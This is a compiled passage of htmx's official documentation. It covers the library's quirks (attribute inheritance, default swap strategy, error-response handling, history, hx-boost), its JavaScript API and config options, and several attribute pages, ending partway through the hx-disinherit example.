# Htmx

> This is a "quirks" page, based on [SQLite's "Quirks, Caveats, and Gotchas In SQLite" page](https://www.sqlite.org/quirks.html).

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/QUIRKS.md

+++
title = "htmx quirks"
date = 2024-12-23
updated = 2024-12-23
[taxonomies]
author = ["Carson Gross"]
tag = ["posts"]
+++

This is a "quirks" page, based on [SQLite's "Quirks, Caveats, and Gotchas In SQLite" page](https://www.sqlite.org/quirks.html).

## Attribute Inheritance

Many attributes in htmx are [inherited](@/docs.md#inheritance): child elements can receive behavior from attributes located
on parent elements.

As an example, here are two htmx-powered buttons that inherit their [target](@/attributes/hx-target.md) from a parent
div:

```html
<div hx-target="#output">
    <button hx-post="/items/100/like">Like</button>
    <button hx-delete="/items/100">Delete</button>
</div>
<output id="output"></output>
```

This helps avoid repeating attributes, thus keeping code [DRY](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself).

On the other hand, as the attributes get further away elements, you lose [Locality of Behavior](@/essays/locality-of-behaviour.md)
and it becomes more difficult to understand what an element is doing.

It is also possible to inadvertently change the behavior of elements by adding attributes to parents.

Some people prefer to disable inheritance in htmx entirely, using the `htmx.config.disableInheritance`
[configuration variable](@/docs.md#config).

Here is a `meta` tag configuration that does so:

```html
  <meta name="htmx-config" content='{"disableInheritance":true}'>
```

## The Default Swap Strategy is `innerHTML`

The [`hx-swap`](@/attributes/hx-swap.md) attribute allows you to control how a swap is performed.  The default strategy is
`innerHTML`, that is, to place the response HTML content within the target element.

Many people prefer to use the `outerHTML` strategy as the default instead.

You can change this behavior using the `htmx.config.defaultSwapStyle`
[configuration variable](@/docs.md#config).

Here is a `meta` tag configuration that does so:

```html
  <meta name="htmx-config" content='{"defaultSwapStyle":"outerHTML"}'>
```

## Targeting the `body` Always Performs an innerHTML Swap

For historical reasons, if you target the `body` element, htmx will
[always perform an `innerHTML` swap](https://github.com/bigskysoftware/htmx/blob/fb78106dc6ef20d3dfa7e54aca20408c4e4336fc/src/htmx.js#L1696).

This means you cannot change attributes on the `body` tag via an htmx request.

## By Default `4xx` & `5xx` Responses Do Not Swap

htmx has never swapped "error" status response codes (`400`s & `500`s) by default.

This behavior annoys some people, and some server frameworks, in particular, will return a `422 - Unprocessable Entity`
response code to indicate that a form was not filled out properly.

This can be very confusing when it is first encountered.

You can configure the response behavior of htmx via the [`htmx:beforeSwap`](@/docs.md#modifying_swapping_behavior_with_events)
event or [via the `htmx.config.responseHandling` config array](https://htmx.org/docs/#response-handling).

Here is the default configuration:

```json
{
  "responseHandling": [
    {"code":"204", "swap": false},
    {"code":"[23]..", "swap": true},
    {"code":"[45]..", "swap": false, "error":true},
    {"code":"...", "swap": false}]
}
```

Note that `204  No Content` also is not swapped.

If you want to swap everything regardless of response code, you can use this configuration:

```json
{
  "responseHandling": [
    {"code":"...", "swap": true}]
}
```

If you want to specifically allow `422` responses to swap, you can use this configuration:

```json
{
  "responseHandling": [
    {"code":"422", "swap": true},
    {"code":"204", "swap": false},
    {"code":"[23]..", "swap": true},
    {"code":"[45]..", "swap": false, "error":true},
    {"code":"...", "swap": false}]
}
```

Here is a meta tag allowing all responses to swap:

```html
  <meta name="htmx-config" content='{"responseHandling": [{"code":"...", "swap": true}]}'>
```

## `GET` Requests on Non-Form Elements Do Not Include Form Values by Default

If a non-form element makes a non-`GET` request (e.g. a `PUT` request) via htmx, the values of the enclosing form
of that element (if any) [will be included in the request](@/docs.md#parameters).

However, if the element issues a `GET`, the values of an enclosing form will
[not be included.](https://github.com/bigskysoftware/htmx/blob/fb78106dc6ef20d3dfa7e54aca20408c4e4336fc/src/htmx.js#L3525)

If you wish to include the values of the enclosing form when issuing an `GET` you can use the
[`hx-include`](@/attributes/hx-include.md) attribute like so:

```html
<button hx-get="/search"
        hx-include="closest form">
  Search
</button>
```

## History Can Be Tricky

htmx provides support for interacting with the browser's [history](@/docs.md#history).  This can be very powerful, but it
can also be tricky, particularly if you are using 3rd party JavaScript libraries that modify the DOM.

There can also be [security concerns](@/docs.md#hx-history) when using htmx's history support.

Most of these issues can be solved by disabling any local history cache and simply issuing a server request when a
user navigates backwards in history, with the tradeoff that history navigation will be slower.

Here is a meta tag that disables history caching:

```html
  <meta name="htmx-config" content='{"historyCacheSize": 0}'>
```

## Some People Don't Like `hx-boost`

[`hx-boost`](@/attributes/hx-boost.md) is an odd feature compared with most other aspects of htmx: it "magically" turns
all anchor tags and forms into AJAX requests.

This can speed the feel of these interactions up, and also allows the forms and anchors to continue working when
[JavaScript is disabled](https://developer.mozilla.org/en-US/docs/Glossary/Progressive_Enhancement), however it comes
with some tradeoffs:

* The history issues mentioned above can show up
* Only the body of the web page will be updated, so any styles and scripts in the new page `head` tag will be discarded
* The global javascript scope is not refreshed, so it is possible to have strange interactions between pages.  For example
  a global `let` may start failing because a symbol is already defined.

Some members on the core htmx team feel that, due to these issues, as well as the fact that browsers have improved
quite a bit in page navigation, it is best to avoid `hx-boost` and
[just use unboosted links and forms](https://unplannedobsolescence.com/blog/less-htmx-is-more/).

There is no doubt that `hx-boost` is an odd-man out when compared to other htmx attributes and suffers from the dictum
that "If something magically works, then it can also magically break."

Despite this fact, I (Carson) still feel it is useful in many situations, and it is used on the <https://htmx.org>
website.

## Loading htmx asynchronously is unreliable

htmx is designed to be loaded with a standard, blocking `<script>` tag, not one that is a [module](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/script#module) or [deferred](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/script#defer).
Although we make a [best-effort attempt](https://github.com/bigskysoftware/htmx/blob/7ae66f9b33a5d39ad4084b0697ea34a6bf559cda/src/htmx.js#L5039-L5058) to initialize htmx regardless of when in the document lifecycle the script is loaded, there are some use-cases that slip through the cracks, typically ones that involve bundling or AJAX insertion of htmx itself.

Our [past attempts](https://github.com/bigskysoftware/htmx/pull/3365#issuecomment-3065080028) to close this gap have all lead to unacceptable regressions.
Therefore, although htmx can be loaded asynchronously, do so at your own risk.

Keep in mind, also, that if your DOM content loads before htmx does, all the htmx-provided functionality will be nonfunctional until htmx loads.
[Prefetching](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Attributes/rel/prefetch) (or even "regular" fetching) htmx before you need it is one possible way to resolve this problem.

## The JavaScript API Is Not A Focus

htmx is a hypermedia-oriented front end library.  This means that htmx enhances HTML via
[attributes](@/reference.md#attributes) in the HTML , rather than providing an elaborate
JavaScript API.

There _is_ a [JavaScript API](@/reference.md#api), but it is not a focus of the library and, in most cases,
should not be used heavily by htmx end users.

If you find yourself using it heavily, especially the [`htmx.ajax()`](@/api.md#ajax) method, it may be
worth asking yourself if there is a more htmx-ish approach to achieve what you are doing.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/api.md

+++
title = "Javascript API"
description = """\
  This documentation describes the JavaScript API for htmx, including methods and properties for configuring the \
  behavior of htmx, working with CSS classes, AJAX requests, event handling, and DOM manipulation. The API provides \
  helper functions primarily intended for extension development and event management."""
+++

While it is not a focus of the library, htmx does provide a small API of helper methods, intended mainly for [extension development](https://htmx.org/extensions) or for working with [events](@/events.md).

The [hyperscript](https://hyperscript.org) project is intended to provide more extensive scripting support
for htmx-based applications.

### Method - `htmx.addClass()` {#addClass}

This method adds a class to the given element.

##### Parameters

* `elt` - the element to add the class to
* `class` - the class to add

or

* `elt` - the element to add the class to
* `class` - the class to add
* `delay` - delay (in milliseconds ) before class is added

##### Example

```js
  // add the class 'myClass' to the element with the id 'demo'
  htmx.addClass(htmx.find('#demo'), 'myClass');

  // add the class 'myClass' to the element with the id 'demo' after 1 second
  htmx.addClass(htmx.find('#demo'), 'myClass', 1000);
```

### Method - `htmx.ajax()` {#ajax}

Issues an htmx-style AJAX request. This method returns a Promise, so a callback can be executed after the content has been inserted into the DOM.

##### Parameters

* `verb` - 'GET', 'POST', etc.
* `path` - the URL path to make the AJAX
* `element` - the element to target (defaults to the `body`)

or

* `verb` - 'GET', 'POST', etc.
* `path` - the URL path to make the AJAX
* `selector` - a selector for the target

or

* `verb` - 'GET', 'POST', etc.
* `path` - the URL path to make the AJAX
* `context` - a context object that contains any of the following
    * `source` - the source element of the request, `hx-*` attrs which affect the request will be resolved against that element and its ancestors
    * `event` - an event that "triggered" the request
    * `handler` - a callback that will handle the response HTML
    * `target` - the target to swap the response into
    * `swap` - how the response will be swapped in relative to the target
    * `values` - values to submit with the request
    * `headers` - headers to submit with the request
    * `select` - allows you to select the content you want swapped from a response
    * `selectOOB` - allows you to select content for out-of-band swaps from a response
    * `push` - can be `'true'` or a path to push a URL into browser location history
    * `replace` - can be `'true'` or a path to replace the URL in the browser location history

##### Example

```js
    // issue a GET to /example and put the response HTML into #myDiv
    htmx.ajax('GET', '/example', '#myDiv')

    // issue a GET to /example and replace #myDiv with the response
    htmx.ajax('GET', '/example', {target:'#myDiv', swap:'outerHTML'})

    // execute some code after the content has been inserted into the DOM
    htmx.ajax('GET', '/example', '#myDiv').then(() => {
      // this code will be executed after the 'htmx:afterOnLoad' event,
      // and before the 'htmx:xhr:loadend' event
      console.log('Content inserted successfully!');
    });

```

### Method - `htmx.closest()` {#closest}

Finds the closest matching element in the given elements parentage, inclusive of the element

##### Parameters

* `elt` - the element to find the selector from
* `selector` - the selector to find

##### Example

```js
  // find the closest enclosing div of the element with the id 'demo'
  htmx.closest(htmx.find('#demo'), 'div');
```

### Property - `htmx.config` {#config}

A property holding the configuration htmx uses at runtime.

Note that using a [meta tag](@/docs.md#config) is the preferred mechanism for setting these properties.

##### Properties

* `attributesToSettle:["class", "style", "width", "height"]` - array of strings: the attributes to settle during the settling phase
* `refreshOnHistoryMiss:false` - boolean: if set to `true` htmx will issue a full page refresh on history misses rather than use an AJAX request
* `defaultSettleDelay:20` - int: the default delay between completing the content swap and settling attributes
* `defaultSwapDelay:0` - int: the default delay between receiving a response from the server and doing the swap
* `defaultSwapStyle:'innerHTML'` - string: the default swap style to use if [`hx-swap`](@/attributes/hx-swap.md) is omitted
* `historyCacheSize:10` - int: the number of pages to keep in `localStorage` for history support
* `historyEnabled:true` - boolean: whether or not to use history
* `includeIndicatorStyles:true` - boolean: if true, htmx will inject a small amount of CSS into the page to make indicators invisible unless the `htmx-indicator` class is present
* `indicatorClass:'htmx-indicator'` - string: the class to place on indicators when a request is in flight
* `requestClass:'htmx-request'` - string: the class to place on triggering elements when a request is in flight
* `addedClass:'htmx-added'` - string: the class to temporarily place on elements that htmx has added to the DOM
* `settlingClass:'htmx-settling'` - string: the class to place on target elements when htmx is in the settling phase
* `swappingClass:'htmx-swapping'` - string: the class to place on target elements when htmx is in the swapping phase
* `allowEval:true` - boolean: allows the use of eval-like functionality in htmx, to enable `hx-vars`, trigger conditions & script tag evaluation.  Can be set to `false` for CSP compatibility.
* `allowScriptTags:true` - boolean: allows script tags to be evaluated in new content
* `inlineScriptNonce:''` - string: the [nonce](https://developer.mozilla.org/docs/Web/HTML/Global_attributes/nonce) to add to inline scripts
* `inlineStyleNonce:''` - string: the [nonce](https://developer.mozilla.org/docs/Web/HTML/Global_attributes/nonce) to add to inline styles
* `withCredentials:false` - boolean: allow cross-site Access-Control requests using credentials such as cookies, authorization headers or TLS client certificates
* `timeout:0` - int: the number of milliseconds a request can take before automatically being terminated
* `wsReconnectDelay:'full-jitter'` - string/function: the default implementation of `getWebSocketReconnectDelay` for reconnecting after unexpected connection loss by the event code `Abnormal Closure`, `Service Restart` or `Try Again Later`
* `wsBinaryType:'blob'` - string: the [the type of binary data](https://developer.mozilla.org/docs/Web/API/WebSocket/binaryType) being received over the WebSocket connection
* `disableSelector:"[hx-disable], [data-hx-disable]"` - array of strings: htmx will not process elements with this attribute on it or a parent
* `disableInheritance:false` - boolean: If it is set to `true`, the inheritance of attributes is completely disabled and you can explicitly specify the inheritance with the [hx-inherit](@/attributes/hx-inherit.md) attribute.
* `scrollBehavior:'instant'` - string: the scroll behavior when using the [show](@/attributes/hx-swap.md#scrolling-scroll-show) modifier with `hx-swap`. The allowed values are `instant` (scrolling should happen instantly in a single jump), `smooth` (scrolling should animate smoothly) and `auto` (scroll behavior is determined by the computed value of [scroll-behavior](https://developer.mozilla.org/en-US/docs/Web/CSS/scroll-behavior)).
* `defaultFocusScroll:false` - boolean: if the focused element should be scrolled into view, can be overridden using the [focus-scroll](@/attributes/hx-swap.md#focus-scroll) swap modifier
* `getCacheBusterParam:false` - boolean: if set to true htmx will append the target element to the `GET` request in the format `org.htmx.cache-buster=targetElementId`
* `globalViewTransitions:false` - boolean: if set to `true`, htmx will use the [View Transition](https://developer.mozilla.org/en-US/docs/Web/API/View_Transitions_API) API when swapping in new content.
* `methodsThatUseUrlParams:["get", "delete"]` - array of strings: htmx will format requests with these methods by encoding their parameters in the URL, not the request body
* `selfRequestsOnly:true` - boolean: whether to only allow AJAX requests to the same domain as the current document
* `ignoreTitle:false` - boolean: if set to `true` htmx will not update the title of the document when a `title` tag is found in new content
* `scrollIntoViewOnBoost:true` - boolean: whether or not the target of a boosted element is scrolled into the viewport. If `hx-target` is omitted on a boosted element, the target defaults to `body`, causing the page to scroll to the top.
* `triggerSpecsCache:null` - object: the cache to store evaluated trigger specifications into, improving parsing performance at the cost of more memory usage. You may define a simple object to use a never-clearing cache, or implement your own system using a [proxy object](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Proxy)
* `htmx.config.responseHandling:[...]` - HtmxResponseHandlingConfig[]: the default [Response Handling](@/docs.md#response-handling) behavior for response status codes can be configured here to either swap or error
* `htmx.config.allowNestedOobSwaps:true` -  boolean: whether to process OOB swaps on elements that are nested within the main response element. See [Nested OOB Swaps](@/attributes/hx-swap-oob.md#nested-oob-swaps).
* `htmx.config.historyRestoreAsHxRequest:true` -  Whether to treat history cache miss full page reload requests as a "HX-Request" by returning this response header. This should always be disabled when using HX-Request header to optionally return partial responses
* `htmx.config.reportValidityOfForms:false` -  Whether to report input validation errors to the end user and update focus to the first input that fails validation. This should always be enabled as this matches default browser form submit behaviour
##### Example

```js
  // update the history cache size to 30
  htmx.config.historyCacheSize = 30;
```

### Property - `htmx.createEventSource` {#createEventSource}

A property used to create new [Server Sent Event](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/sse/README.md) sources.  This can be updated
to provide custom SSE setup.

##### Value

* `func(url)` - a function that takes a URL string and returns a new `EventSource`

##### Example

```js
  // override SSE event sources to not use credentials
  htmx.createEventSource = function(url) {
    return new EventSource(url, {withCredentials:false});
  };
```

### Property - `htmx.createWebSocket` {#createWebSocket}

A property used to create new [WebSocket](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/ws/README.md).  This can be updated
to provide custom WebSocket setup.

##### Value

* `func(url)` - a function that takes a URL string and returns a new `WebSocket`

##### Example

```js
  // override WebSocket to use a specific protocol
  htmx.createWebSocket = function(url) {
    return new WebSocket(url, ['wss']);
  };
```

### Method - `htmx.defineExtension()` {#defineExtension}

Defines a new htmx [extension](https://htmx.org/extensions).

##### Parameters

* `name` - the extension name
* `ext` - the extension definition

##### Example

```js
  // defines a silly extension that just logs the name of all events triggered
  htmx.defineExtension("silly", {
    onEvent : function(name, evt) {
      console.log("Event " + name + " was triggered!")
    }
  });
```

### Method - `htmx.find()` {#find}

Finds an element matching the selector

##### Parameters

* `selector` - the selector to match

or

* `elt` - the root element to find the matching element in, inclusive
* `selector` - the selector to match

##### Example

```js
    // find div with id my-div
    var div = htmx.find("#my-div")

    // find div with id another-div within that div
    var anotherDiv = htmx.find(div, "#another-div")
```

### Method - `htmx.findAll()` {#findAll}

Finds all elements matching the selector

##### Parameters

* `selector` - the selector to match

or

* `elt` - the root element to find the matching elements in, inclusive
* `selector` - the selector to match

##### Example

```js
    // find all divs
    var allDivs = htmx.findAll("div")

    // find all paragraphs within a given div
    var allParagraphsInMyDiv = htmx.findAll(htmx.find("#my-div"), "p")
```

### Method - `htmx.logAll()` {#logAll}

Log all htmx events, useful for debugging.

##### Example

```js
    htmx.logAll();
```

### Method - `htmx.logNone()` {#logNone}

Log no htmx events, call this to turn off the debugger if you previously enabled it.

##### Example

```js
    htmx.logNone();
```

### Property - `htmx.logger` {#logger}

The logger htmx uses to log with

##### Value

* `func(elt, eventName, detail)` - a function that takes an element, eventName and event detail and logs it

##### Example

```js
    htmx.logger = function(elt, event, data) {
        if(console) {
            console.log("INFO:", event, elt, data);
        }
    }
```

### Method - `htmx.off()` {#off}

Removes an event listener from an element

##### Parameters

* `eventName` - the event name to remove the listener from
* `listener` - the listener to remove

or

* `target` - the element to remove the listener from
* `eventName` - the event name to remove the listener from
* `listener` - the listener to remove

##### Example

```js
    // remove this click listener from the body
    htmx.off("click", myEventListener);

    // remove this click listener from the given div
    htmx.off("#my-div", "click", myEventListener)
```

### Method - `htmx.on()` {#on}

Adds an event listener to an element

##### Parameters

* `eventName` - the event name to add the listener for
* `listener` - the listener to add
* `options` - an [options](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#options) object (or a [useCapture](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#usecapture) boolean) to add to the event listener (optional)

or

* `target` - the element to add the listener to
* `eventName` - the event name to add the listener for
* `listener` - the listener to add
* `options` - an [options](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#options) object (or a [useCapture](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#usecapture) boolean) to add to the event listener (optional)

##### Example

```js
    // add a click listener to the body
    var myEventListener = htmx.on("click", function(evt){ console.log(evt); });

    // add a click listener to the given div
    var myEventListener = htmx.on("#my-div", "click", function(evt){ console.log(evt); });

    // add a click listener to the given div that should only be invoked once
    var myEventListener = htmx.on("#my-div", "click", function(evt){ console.log(evt); }, { once: true });
```

### Method - `htmx.onLoad()` {#onLoad}

Adds a callback for the `htmx:load` event. This can be used to process new content, for example
initializing the content with a javascript library

##### Parameters

* `callback(elt)` - the callback to call on newly loaded content

##### Example

```js
    htmx.onLoad(function(elt){
        MyLibrary.init(elt);
    })
```

### Method - `htmx.parseInterval()` {#parseInterval}

Parses an interval string consistent with the way htmx does.  Useful for plugins that have timing-related attributes.

Caution: Accepts an int followed by either `s` or `ms`. All other values use `parseFloat`

##### Parameters

* `str` - timing string

##### Example

```js
    // returns 3000
    var milliseconds = htmx.parseInterval("3s");

    // returns 3 - Caution
    var milliseconds = htmx.parseInterval("3m");
```

### Method - `htmx.process()` {#process}

Processes new content, enabling htmx behavior.  This can be useful if you have content that is added to the DOM
outside of the normal htmx request cycle but still want htmx attributes to work.

##### Parameters

* `elt` - element to process

##### Example

```js
  document.body.innerHTML = "<div hx-get='/example'>Get it!</div>"
  // process the newly added content
  htmx.process(document.body);
```

### Method - `htmx.remove()` {#remove}

Removes an element from the DOM

##### Parameters

* `elt` - element to remove

or

* `elt` - element to remove
* `delay` - delay (in milliseconds ) before element is removed

##### Example

```js
  // removes my-div from the DOM
  htmx.remove(htmx.find("#my-div"));

  // removes my-div from the DOM after a delay of 2 seconds
  htmx.remove(htmx.find("#my-div"), 2000);
```

### Method - `htmx.removeClass()` {#removeClass}

Removes a class from the given element

##### Parameters

* `elt` - element to remove the class from
* `class` - the class to remove

or

* `elt` - element to remove the class from
* `class` - the class to remove
* `delay` - delay (in milliseconds ) before class is removed

##### Example

```js
  // removes .myClass from my-div
  htmx.removeClass(htmx.find("#my-div"), "myClass");

  // removes .myClass from my-div after 6 seconds
  htmx.removeClass(htmx.find("#my-div"), "myClass", 6000);
```

### Method - `htmx.removeExtension()` {#removeExtension}

Removes the given extension from htmx

##### Parameters

* `name` - the name of the extension to remove

##### Example

```js
  htmx.removeExtension("my-extension");
```

### Method - `htmx.swap()` {#swap}

Performs swapping (and settling) of HTML content

##### Parameters

* `target` - the HTML element or string selector of swap target
* `content` - string representation of content to be swapped
* `swapSpec` - swapping specification, representing parameters from `hx-swap`
  * `swapStyle` (required) - swapping style (`innerHTML`, `outerHTML`, `beforebegin` etc)
  * `swapDelay`, `settleDelay` (number) - delays before swapping and settling respectively
  * `transition` (bool) - whether to use HTML transitions for swap
  * `ignoreTitle` (bool) - disables page title updates
  * `head` (string) - specifies `head` tag handling strategy (`merge` or `append`). Leave empty to disable head handling
  * `scroll`, `scrollTarget`, `show`, `showTarget`, `focusScroll` - specifies scroll handling after swap
* `swapOptions` - additional *optional* parameters for swapping
  * `select` - selector for the content to be swapped (equivalent of `hx-select`)
  * `selectOOB` - selector for the content to be swapped out-of-band (equivalent of `hx-select-oob`)
  * `eventInfo` - an object to be attached to `htmx:afterSwap` and `htmx:afterSettle` elements
  * `anchor` - an anchor element that triggered scroll, will be scrolled into view on settle. Provides simple alternative to full scroll handling
  * `contextElement` - DOM element that serves as context to swapping operation. Currently used to find extensions enabled for specific element
  * `afterSwapCallback`, `afterSettleCallback` - callback functions called after swap and settle respectively. Take no arguments


##### Example

```js
    // swap #output element inner HTML with div element with "Swapped!" text
    htmx.swap("#output", "<div>Swapped!</div>", {swapStyle: 'innerHTML'});
```

### Method - `htmx.takeClass()` {#takeClass}

Takes the given class from its siblings, so that among its siblings, only the given element will have the class.

##### Parameters

* `elt` - the element that will take the class
* `class` - the class to take

##### Example

```js
  // takes the selected class from tab2's siblings
  htmx.takeClass(htmx.find("#tab2"), "selected");
```

### Method - `htmx.toggleClass()` {#toggleClass}

Toggles the given class on an element

##### Parameters

* `elt` - the element to toggle the class on
* `class` - the class to toggle

##### Example

```js
  // toggles the selected class on tab2
  htmx.toggleClass(htmx.find("#tab2"), "selected");
```

### Method - `htmx.trigger()` {#trigger}

Triggers a given event on an element

##### Parameters

* `elt` - the element to trigger the event on
* `name` - the name of the event to trigger
* `detail` - details for the event

##### Example

```js
  // triggers the myEvent event on #tab2 with the answer 42
  htmx.trigger("#tab2", "myEvent", {answer:42});
```

### Method - `htmx.values()` {#values}

Returns the input values that would resolve for a given element via the htmx value resolution mechanism

##### Parameters

* `elt` - the element to resolve values on
* `request type` - the request type (e.g. `get` or `post`)  non-GET's will include the enclosing form of the element.
   Defaults to `post`

##### Example

```js
  // gets the values associated with this form
  var values = htmx.values(htmx.find("#myForm"));
```

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-boost.md

+++
title = "hx-boost"
description = """\
  The hx-boost attribute in htmx enables progressive enhancement by converting standard HTML anchors and forms into \
  AJAX requests, maintaining graceful fallback for users without JavaScript while providing modern dynamic page \
  updates for those with JavaScript enabled."""
+++

The `hx-boost` attribute allows you to "boost" normal anchors and form tags to use AJAX instead.  This
has the [nice fallback](https://en.wikipedia.org/wiki/Progressive_enhancement) that, if the user does not 
have javascript enabled, the site will continue to work.

For anchor tags, clicking on the anchor will issue a `GET` request to the url specified in the `href` and
will push the url so that a history entry is created.  The target is the `<body>` tag, and the `innerHTML`
swap strategy is used by default.  All of these can be modified by using the appropriate attributes, except
the `click` trigger.

For forms the request will be converted into a `GET` or `POST`, based on the method in the `method` attribute
and will be triggered by a `submit`.  Again, the target will be the `body` of the page, and the `innerHTML`
swap will be used. The url will _not_ be pushed, however, and no history entry will be created. (You can use the 
[hx-push-url](@/attributes/hx-push-url.md) attribute if you want the url to be pushed.)

Here is an example of some boosted links:

```html
<div hx-boost="true">
  <a href="/page1">Go To Page 1</a>
  <a href="/page2">Go To Page 2</a>
</div>
```
These links will issue an ajax `GET` request to the respective URLs and replace the body's inner content with it.

Here is an example of a boosted form:

```html
<form hx-boost="true" action="/example" method="post">
    <input name="email" type="email" placeholder="Enter email...">
    <button>Submit</button>
</form>
```
This form will issue an ajax `POST` to the given URL and replace the body's inner content with it.


## Notes

* `hx-boost` is inherited and can be placed on a parent element
* Only links that are to the same domain and that are not local anchors will be boosted
* All requests are done via AJAX, so keep that in mind when doing things like redirects
* To find out if the request results from a boosted anchor or form, look for [`HX-Boosted`](@/reference.md#request_headers) in the request header
* Selectively disable boost on child elements with `hx-boost="false"`
* Disable the replacement of elements via boost, and their children, with [`hx-preserve="true"`](@/attributes/hx-preserve.md)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-confirm.md

+++
title = "hx-confirm"
description = """\
  The hx-confirm attribute in htmx provides a way to add confirmation dialogs before executing requests, allowing \
  you to protect users from accidental destructive actions. This documentation explains how to implement confirmation \
  prompts and customize their behavior through event handling."""
+++

The `hx-confirm` attribute allows you to confirm an action before issuing a request.  This can be useful
in cases where the action is destructive and you want to ensure that the user really wants to do it.

Here is an example:

```html
<button hx-delete="/account" hx-confirm="Are you sure you wish to delete your account?">
  Delete My Account
</button>
```

## Event details

The event triggered by `hx-confirm` contains additional properties in its `detail`:

* triggeringEvent: the event that triggered the original request
* issueRequest(skipConfirmation=false): a callback which can be used to confirm the AJAX request
* question: the value of the `hx-confirm` attribute on the HTML element

## Notes

* `hx-confirm` is inherited and can be placed on a parent element
* `hx-confirm` uses the browser's `window.confirm` by default. You can customize this behavior as shown [in this example](@/examples/confirm.md).
* a boolean `skipConfirmation` can be passed to the `issueRequest` callback; if true (defaults to false), the `window.confirm` will not be called and the AJAX request is issued directly

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-delete.md

+++
title = "hx-delete"
description = """\
  The hx-delete attribute in htmx will cause an element to issue a DELETE request to the specified URL and swap the \
  returned HTML into the DOM using a swap strategy."""
+++

The `hx-delete` attribute will cause an element to issue a `DELETE` to the specified URL and swap
the HTML into the DOM using a swap strategy:

```html
<button hx-delete="/account" hx-target="body">
  Delete Your Account
</button>
```

This example will cause the `button` to issue a `DELETE` to `/account` and swap the returned HTML into
 the `innerHTML` of the `body`.

## Notes

* `hx-delete` is not inherited
* You can control the target of the swap using the [hx-target](@/attributes/hx-target.md) attribute
* You can control the swap strategy by using the [hx-swap](@/attributes/hx-swap.md) attribute
* You can control what event triggers the request with the [hx-trigger](@/attributes/hx-trigger.md) attribute
* You can control the data submitted with the request in various ways, documented here: [Parameters](@/docs.md#parameters)
* To remove the element following a successful `DELETE`, return a `200` status code with an empty body; if the server responds with a `204`, no swap takes place, documented here: [Requests & Responses](@/docs.md#requests)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-disable.md

+++
title = "hx-disable"
description = "The hx-disable attribute in htmx will disable htmx processing for a given element and all its children."
+++

The `hx-disable` attribute will disable htmx processing for a given element and all its children.  This can be 
useful as a backup for HTML escaping, when you include user generated content in your site, and you want to 
prevent malicious scripting attacks.

The value of the tag is ignored, and it cannot be reversed by any content beneath it.

## Notes

* `hx-disable` is inherited

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-disabled-elt.md

+++
title = "hx-disabled-elt"
description = """\
  The hx-disabled-elt attribute in htmx allows you to specify elements that will have the `disabled` attribute added \
  to them for the duration of the request."""
+++

The `hx-disabled-elt` attribute allows you to specify elements that will have the `disabled` attribute
added to them for the duration of the request. The value of this attribute can be:

* A CSS query selector of the element to disable.
* `this` to disable the element itself
* `closest <CSS selector>` which will find the [closest](https://developer.mozilla.org/docs/Web/API/Element/closest)
  ancestor element or itself, that matches the given CSS selector
  (e.g. `closest fieldset` will disable the closest to the element `fieldset`).
* `find <CSS selector>` which will find the first child descendant element that matches the given CSS selector
* `next` which resolves to [element.nextElementSibling](https://developer.mozilla.org/docs/Web/API/Element/nextElementSibling)
* `next <CSS selector>` which will scan the DOM forward for the first element that matches the given CSS selector
  (e.g. `next button` will disable the closest following sibling `button` element)
* `previous` which resolves to [element.previousElementSibling](https://developer.mozilla.org/docs/Web/API/Element/previousElementSibling)
* `previous <CSS selector>` which will scan the DOM backwards for the first element that matches the given CSS selector.
  (e.g. `previous input` will disable the closest previous sibling `input` element)

Here is an example with a button that will disable itself during a request:

```html
<button hx-post="/example" hx-disabled-elt="this">
    Post It!
</button>
```

When a request is in flight, this will cause the button to be marked with [the `disabled` attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/disabled), 
which will prevent further clicks from occurring.  

The `hx-disabled-elt` attribute also supports specifying multiple CSS selectors separated by commas to disable multiple
 elements during the request. Here is an example that disables buttons and text input fields of a particular form during the request:

```html
<form hx-post="/example" hx-disabled-elt="find input[type='text'], find button">
    <input type="text" placeholder="Type here...">
    <button type="submit">Send</button>
</form>
```

Note that you can also use the `inherit` keyword to inherit parent values for a disabled elements and add additional 
disabled element CSS selectors:

```html
<main hx-disabled-elt="#logout-button">
    ...
  <form hx-post="/example" hx-disabled-elt="inherit, find input[type='text'], find button">
    <input type="text" placeholder="Type here...">
    <button type="submit">Send</button>
  </form>
</main>
```

## Notes

* `hx-disabled-elt` is inherited and can be placed on a parent element

[hx-trigger]: https://htmx.org/attributes/hx-trigger/

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-disinherit.md

+++
title = "hx-disinherit"
description = """\
  The hx-disinherit attribute in htmx lets you control how child elements inherit attributes from their parents. This \
  documentation explains how to selectively disable inheritance of specific htmx attributes or all attributes, \
  allowing for more granular control over your web application's behavior."""
+++

The default behavior for htmx is to "inherit" many attributes automatically: that is, an attribute such as
[hx-target](@/attributes/hx-target.md) may be placed on a parent element, and all child elements will inherit
that target.

The `hx-disinherit` attribute allows you to control this automatic attribute inheritance. An example scenario is to 
allow you to place an `hx-boost` on the `body` element of a page, but overriding that behavior in a specific part
of the page to allow for more specific behaviors.

htmx evaluates attribute inheritance as follows:

* when `hx-disinherit` is set on a parent node
  * `hx-disinherit="*"` all attribute inheritance for this element will be disabled
  * `hx-disinherit="hx-select hx-get hx-target"` disable inheritance for only one or multiple specified attributes

```html
<div hx-boost="true" hx-select="#content" hx-target="#content" hx-disinherit="*">
  <a href="/page1">Go To Page 1</a> <!-- boosted with the attribute settings above -->
